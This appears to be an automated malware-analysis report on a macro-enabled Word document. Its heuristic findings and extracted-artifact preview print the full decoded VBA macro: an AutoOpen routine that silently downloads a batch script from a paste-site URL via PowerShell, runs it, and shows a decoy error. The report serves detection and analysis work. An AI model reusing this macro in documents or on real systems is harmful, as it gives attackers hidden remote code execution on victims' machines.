MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
The sample contains VBA macros with an AutoOpen subroutine that executes multiple commands. It first creates a directory, then uses PowerShell to download a batch script from a provided URL, and finally executes the downloaded script. This behavior is indicative of a downloader or initial access stage for further malicious activity.
Heuristics 8
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ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Folder = "cmd.exe /c mkdir C:\Data" Call Shell(Folder, vbHide) -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
' Download Program down = "timeout 5 & powershell wget -o C:\\Data\\start.bat https://paste.c-net.org/AcquiredTaboo" Call Shell("cmd.exe /c" & down, vbHide) -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
' Make Directory Folder = "cmd.exe /c mkdir C:\Data" Call Shell(Folder, vbHide) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "NewMacros" Sub AutoOpen() ' Make Directory -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://paste.c-net.org/AcquiredTaboo In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
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macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 830 bytes |
SHA-256: 4a269613ae0bf621bb135f1b55a2fea4ff54a403551c1d526f3323419c6f75f0 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
' Make Directory
Folder = "cmd.exe /c mkdir C:\Data"
Call Shell(Folder, vbHide)
' Download Program
down = "timeout 5 & powershell wget -o C:\\Data\\start.bat https://paste.c-net.org/AcquiredTaboo"
Call Shell("cmd.exe /c" & down, vbHide)
' Run Pers
perr = "timeout 20 & C:\Data\start.bat"
Call Shell("cmd.exe /c" & perr, vbHide)
' Status Message
MsgBox ("Please try again on a different (Windows) machine")
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 14336 bytes |
SHA-256: f881aff1195e8325674e4a0f74eb859908195470056fcb2ebcf5cf9eb54f6278 |
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Detection
ClamAV:
Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload:
unlikely
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